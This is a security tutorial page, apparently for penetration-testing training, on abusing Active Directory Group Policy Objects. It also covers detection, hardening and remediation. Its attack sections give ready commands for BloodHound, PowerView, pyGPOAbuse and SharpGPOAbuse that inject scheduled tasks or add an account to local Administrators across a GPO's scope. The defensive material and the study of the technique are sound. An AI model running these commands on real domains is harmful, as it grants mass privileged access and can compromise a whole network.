Skip to content
Pwnversity
AD-GPOadvanced · 8 min · upd. 2026-11

GPO Abuse

T1484.001T1484T1222.001

Group Policy Objects (GPOs) are how AD applies configuration to users and computers: security policies, startup scripts, software installation, scheduled tasks, local group membership. A GPO is linked to OUs, sites or the domain, and every object in that scope runs it. That power is the problem: if an attacker can modify an existing GPO, or create and link a new one, they execute code or grant privileges en masse on every affected computer —potentially the whole domain. The broken invariant is that a GPO is, in effect, remote code execution at scale governed only by ACLs.

flowchart LR
    A["GenericWrite over GPO<br/>or GpLink over OU"] -->|"inject task/script"| G["GPO"]
    G -->|"applies within ~90 min"| E1["computer 1"]
    G --> E2["computer 2"]
    G --> E3["computer N"]
    E1 --> R["SYSTEM / local admin en masse"]
  • Who attacks: someone with write access over an existing GPO (GenericWrite, GenericAll, WriteDacl) that many computers apply, or with permission to link GPOs to an OU (GpLink), even without edit rights on existing GPOs. BloodHound flags both edges.
  • What it breaks: the separation between administering a GPO and executing on the computers in its scope. Modifying the GPO is executing on all of them.
  • What it gains: execution as SYSTEM (computer task) or as the user (user task), addition to local administrators, startup scripts, on all objects in scope at once.
  • Why it’s immediate and broad: GPOs refresh on their own (~90 min, or with gpupdate) and apply with high privileges. Over a broad-scope GPO or the DCs’ OU, it’s domain compromise.

Two distinct permissions:

  • Write over the GPO (GenericWrite/WriteDacl over the groupPolicyContainer object): you modify its content and it affects its entire current scope.
  • GpLink over an OU: you create a new GPO with the malicious action and link it to that OU; the OU’s objects apply it.
Action Runs as Effect
Immediate scheduled task (computer) SYSTEM Command/shell on each computer
Immediate scheduled task (user) the user Execution in a user session
Restricted Groups / local group — Your account in local Administrators en masse
Startup/logon script SYSTEM/user Payload at boot/logon
User rights — Grant yourself SeDebugPrivilege, etc.
MSI installation SYSTEM Malicious software deployed

The GPO applies in the next cycle (~90 min + random) or when gpupdate is forced. An immediate task runs as soon as the computer processes the GPO, not at reboot.

Ventana de terminal
# from Linux, with BloodHound: WriteGPO / GpLink edges
bloodhound-ce-python -c All -u jdoe -p 'Passw0rd!' -d corp.local -ns 10.10.10.10 --zip
Ventana de terminal
# from Windows, with PowerView
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'Write|Create' }
Get-DomainGPOUserLocalGroupMapping -Identity jdoe # where I'm a local admin via GPO

BloodHound flags GenericWrite/GenericAll/WriteDacl over GPO and GpLink over OUs, and shows which computers fall under each GPO.

With write access over a GPO, pyGPOAbuse injects an immediate task (by default as SYSTEM on the computers in scope):

Ventana de terminal
# add your account to local Administrators across the GPO's scope
pygpoabuse.py corp.local/jdoe:'Passw0rd!' -gpo-id '4B878AA9-238D-4975-B3A3-B7EE9990F66C' \
-command 'net localgroup administrators jdoe /add' -taskname 'Update'
# cleanup after execution
pygpoabuse.py corp.local/jdoe:'Passw0rd!' -gpo-id '...' -command '...' --cleanup
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author CORP\jdoe \
--Command "cmd.exe" --Arguments "/c net localgroup administrators jdoe /add" \
--GPOName "GPO-Vulnerable"
# or add yourself as a local admin directly:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jdoe --GPOName "Default Domain Policy"

With GpLink over an OU (even without write over existing GPOs), you create a GPO, put the malicious action in it, and link it to that OU: the objects inside apply it. If the OU is the DCs’ one, it’s direct domain compromise.

  1. BloodHound: do I have WriteGPO over a GPO, or GpLink over an OU?
  2. How many computers (and which) does that GPO affect? Does it include the DCs?
  3. Inject the minimum action needed (local admin on a target computer, better than SYSTEM across the fleet).
  4. Wait for the refresh or force gpupdate if you have access.
  5. Clean up the injected action and the link.
  • pyGPOAbuse (Hackndo): partial Linux implementation (immediate tasks, PowerShell).
  • SharpGPOAbuse (FSecureLABS): injects tasks, local groups, scripts and rights from Windows.
  • GroupPolicyBackdoor (Synacktiv), GPOddity: more complete/stealthy alternatives.
  • PowerView: GPO ACLs and local-admin-by-GPO mapping.
  • GPOHound / Group3r / PingCastle: GPO auditing (also defensive).

Execution as SYSTEM and/or local admin on all computers in scope, simultaneously. Over a broad-scope GPO or the DCs’ OU it’s domain compromise. It’s also a persistence vector: a backdoored GPO “revives” the malicious configuration on each refresh.

  • Changes to GPOs (modification of gPCFileSysPath, new files in SYSVOL\...\Policies\): audit SYSVOL writes (event 5136 over GPO objects).
  • New scheduled tasks or Restricted Groups applied via GPO on many computers at once.
  • New GPO links (gPLink) over OUs, especially the DCs’ one.
  • Local user creation / addition to Administrators en masse (repeated event 4732).
  • Auditing of changes to GPO objects (5136) and of files in SYSVOL.
  • Sysmon on endpoints for tasks and scripts applied by GPO.
  • Specific alerts on the Default Domain Policy and the Default Domain Controllers Policy.
  • Minimize who can edit and link GPOs: audit and trim the ACLs (WriteGPO/GpLink) with BloodHound/GPOHound.
  • Especially protect the Default Domain Policy, the Default Domain Controllers Policy and GPOs linked to the DCs’ OU (Tier 0): management only from PAW by Tier 0 accounts.
  • Monitor SYSVOL for changes; review legacy GPOs with GPP (cpassword, MS14-025 — see GPP cpassword).

Revert the modified GPO and its link, delete tasks and local users created on affected computers, rotate exposed credentials, and if it touched the DCs or the domain, treat the domain as compromised.

  • GPO abuse is a configuration TTP (MITRE T1484.001 Group Policy Modification), not a CVE.
  • MS14-025 (GPP cpassword): passwords encrypted with a publicly known AES key in GPP, readable by any domain user; a classic finding still present (see GPP cpassword).
  • SharpGPOAbuse/pyGPOAbuse appear in red-team reports and in ransomware intrusions that use GPO to deploy the payload to the whole network at once.
  • Write over an existing GPO? (BloodHound WriteGPO).
  • GpLink permission over an OU (including the DCs’ one)?
  • Inject an immediate task (pyGPOAbuse/SharpGPOAbuse) → execution.
  • Add yourself to local Administrators via GPO (Restricted Groups).
  • Does the GPO affect many computers or the DCs?
  • Legacy GPP with cpassword (MS14-025).
  • Injected action cleaned up when done.
  • Blue: GPO-change and SYSVOL auditing on?